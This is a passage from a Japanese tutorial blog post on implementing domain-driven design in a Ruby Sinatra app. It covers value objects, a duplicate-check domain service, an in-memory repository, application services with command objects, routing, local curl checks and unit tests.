  attr_reader :value
end
  • vim domain/model/user/user_mail.rb
require 'uri'

class UserMail
  def initialize(value)
    raise Exception.new("A mail address format is incorrect") unless URI::MailTo::EMAIL_REGEXP.match?(value.to_s)
    @value = value
  end

  attr_reader :value
end

ドメインサービスの実装

今回はユーザの重複チェックだけを行います
ドメインサービスの方針としては別の User と比較などを行う振る舞いを実装するようにします
重複チェックを行うのに repository が必要になるので保持しています
repository の実装は後述します

  • vim domain/service/user_service.rb
class UserService
  def initialize(repository)
    @repository = repository
  end

  def exists?(user)
    duplicate_user = @repository.find(user.name)
    return true unless duplicate_user.nil?
    return false
  end
end

リポジトリの実装

今回はインメモリなデータベースを使います
実際は MySQL なり MongoDB を使うことになるのでそれにあった ORM の実装を行うことになります

  • vim in_memory/user/in_memory_user_repository.rb
class InMemoryUserRepository
  @@users = []

  def find(name)
    @@users.each do |user|
      return user if user.name.eql? name
    end
    return nil
  end

  def save(user)
    @@users.push(user)
  end
end

アプリケーションサービスの実装

DDD として最後にアプリケーションサービスを実装します
アプリケーションサービスでは主にユースケースとなる「機能」を提供します
今回はユーザを作成する機能とユーザを検索する機能を実装します
またアプリケーションサービスに渡す引数はコマンドに変換してすべて渡すようにします

  • vim application/user/user_application_service.rb
require './domain/model/user/user'
require './domain/model/user/user_name'
require './domain/model/user/user_mail'
require './application/user/user_data'

class UserApplicationService
  def initialize(repository, service)
    @repository = repository
    @service = service
  end

  def create(create_command)
    name = UserName.new(create_command.name)
    mail = UserMail.new(create_command.mail)
    user = User.new(name, mail)
    raise Exception.new("A user already exists") if @service.exists?(user)
    @repository.save(user)
    UserData.new(user)
  end

  def get(get_command)
    name = UserName.new(get_command.name)
    user = @repository.find(name)
    return nil if user.nil?
    UserData.new(user)
  end
end
  • vim application/user/user_create_command.rb
class UserCreateCommand
  def initialize(name, mail)
    @name = name
    @mail = mail
  end

  attr_reader :name, :mail
end
  • vim application/user/user_get_command.rb
class UserGetCommand
  def initialize(name)
    @name = name
  end

  attr_reader :name
end
  • vim application/user/user_data.rb
class UserData
  def initialize(user)
    @id = user.id.value
    @name = user.name.value
    @mail = user.mail.value
  end

  def to_h
    {
      "id" => @id,
      "name" => @name,
      "mail" => @mail,
    }
  end

  attr_reader :id, :name, :mail
end

Sinatra アプリの実装

ここまでくればあとは Sinatra アプリのルーティングとアプリケーションサービスを組み合わせて完成させるだけです

ルーティングではリクエストとして受け取ったデータの変換をメインに行うようにします
そして変換したデータをアプリケーションサービスに渡します
それ以外は簡単なバリデーションくらいにしましょう
細かいパラメータのバリデーションなどはコマンドやドメインモデル側に持たせるほうが自然です

また気をつけることとして repository や service は DI で使うようにします
各ルーティングの定義で repository や service を生成するはやめましょう

  • vim presentation/app.rb
require 'sinatra'
require 'sinatra/json'
require 'json'

require './domain/service/user_service'

require './in_memory/user/in_memory_user_repository'

require './application/user/user_application_service'
require './application/user/user_create_command'
require './application/user/user_get_command'

class DDDWebApp < Sinatra::Base
  configure do
    repository = InMemoryUserRepository.new
    user_service = UserService.new(repository)
    app_service = UserApplicationService.new(repository, user_service)
    set :repository, repository
    set :user_service, user_service
    set :app_service, app_service
  end

  get '/user/:name' do
    get_command = UserGetCommand.new(params["name"])
    user = settings.app_service.get(get_command)
    json user.to_h
  end

  post '/user', :provides => 'json' do
    body = JSON.parse request.body.read
    create_command = UserCreateCommand.new(body["name"], body["mail"])
    user = settings.app_service.create(create_command)
    json user.to_h
  end
end
  • vim presentation/config.ru
require './presentation/app'
run DDDWebApp

動作確認

さてようやくアプリが完成しました
アプリを起動して動作確認します

  • bundle exec rackup presentation/config.ru

起動したら curl を使って確認します
今回は簡単な RESTful なインタフェースにしているので curl を使っています

  • curl -XPOST localhost:9292/user -d '{"name":"user01","mail":"user01@mail.domain"}'
  • curl -XGET localhost:9292/user/user01

=> {"id":"6d00c6a2-429f-4fc8-95b1-f65ba62bbb1b","name":"user01","mail":"user01@mail.domain"}

今回はレイヤードアーキテクチャを採用していますがインタフェース部分は CLI でも GUI でも簡単に付け替えることができる仕様になっていると思います

おまけ: テスト

DDD で値オブジェクトやエンティティ、サービスあたりを実装するときはテストも書きながらやることをオススメします
プレゼンテーションレイヤーのテストは含まれていません

  • vim test/test_user.rb
require 'test/unit'

require './domain/model/user/user'
require './domain/model/user/user_name'
require './domain/model/user/user_mail'
require './domain/service/user_service'

require './in_memory/user/in_memory_user_repository'

require './application/user/user_create_command'
require './application/user/user_get_command'
require './application/user/user_application_service'

class TC_User < Test::Unit::TestCase
  def setup
  end

  def test_new
    name = UserName.new("abc")
    mail = UserMail.new("a@b.c")
    user = User.new(name, mail)
  end

  def test_restore
    id = UserId.new("eabb0927-9fc2-48a1-865f-296c6d8d4f22")
    name = UserName.new("abc")
    mail = UserMail.new("a@b.c")
    user = User.restore(id, name, mail)
  end

  def test_exists
    name = UserName.new("user01")
    mail = UserMail.new("user01@domain.com")
    user = User.new(name, mail)
    repository = InMemoryUserRepository.new
    user_service = UserService.new(repository)
    result = user_service.exists?(user)
    assert(result == false)
  end

  def test_save
    name = UserName.new("user01")
    mail = UserMail.new("user01@domain.com")
    user = User.new(name, mail)
    repository = InMemoryUserRepository.new
    user_service = UserService.new(repository)
    repository.save(user)
    result = user_service.exists?(user)
    assert(result == true)
  end

  def test_create
    repository = InMemoryUserRepository.new
    user_service = UserService.new(repository)
    app_service = UserApplicationService.new(repository, user_service)
    command = UserCreateCommand.new("user02", "user02@domain.com")
    user = app_service.create(command)
    assert(user.name == "user02")
  end

  def test_get
    repository = InMemoryUserRepository.new
    user_service = UserService.new(repository)
    app_service = UserApplicationService.new(repository, user_service)
    command = UserGetCommand.new("user02")
    user = app_service.get(command)
    assert(user.name == "user02")
  end

  def test_get_not_found
    repository = InMemoryUserRepository.new
    user_service = UserService.new(repository)
    app_service = UserApplicationService.new(repository, user_service)
    command = UserGetCommand.new("not_found")
    user = app_service.get(command)
    assert(user.nil?)
  end

  def test_new_exception
    assert_raise(Exception) { UserId.new("a") }
    assert_raise(Exception) { UserName.new("a") }
    assert_raise(Exception) { UserMail.new("a") }
    assert_raise(Exception) { User.new("a", "a@b.c") }
  end
end

最後に

Sinatra + DDD をしてみました
nil を返してしまっている部分やバリデーションの共通化などの余地はまだまだありますがだいたいの DDD 流れは掴めたかなと思います
やっていること自体がかなり単純なアプリなのですごく回りくどい感じがしますが DDD にしようとするとこんな感じにはなってしまうかなと思います

Ruby の場合型がないので少しややこしくなってしまっています
例えば name という変数が UserName クラスであることを想定している場合 (User ドメインモデル内) もあれば String の場合 (UserCreateCommand 内) もあるのでそこは工夫が必要かもしれません

Getter/Setter (attr_accessor) についても少し検討が必要です
DDD では可能な限りオブジェクトのフィールドに直接アクセスする Getter は使わないほうが良しとされています
理由としては各レイヤー間で複雑な依存性の発生を避けるためです
Ruby ではアクセス修飾子の機能がないに等しいので Getter/Setter の公開範囲を限定することが難しい場合があります
その場合は DI やアクセス用のメソッドを作って限定的にアクセスできるようにしましょう
それでもダメな場合は attr_accessor を使っても OK ですが予期せぬ使い方をされる可能性がある点に注意してください

また今回はトランザクションやユニットオブワーク、仕様、ファクトリ、クエリサービスなどは使っていません
そのあたりは DDD というよりかは DDD をより良くするデザインパターンになるので必要に合わせて使うのが良いかなと思います

モデル内で行うバリデーションチェックとエラーハンドリングもかなり甘いので実際はもっとしっかり実装しましょう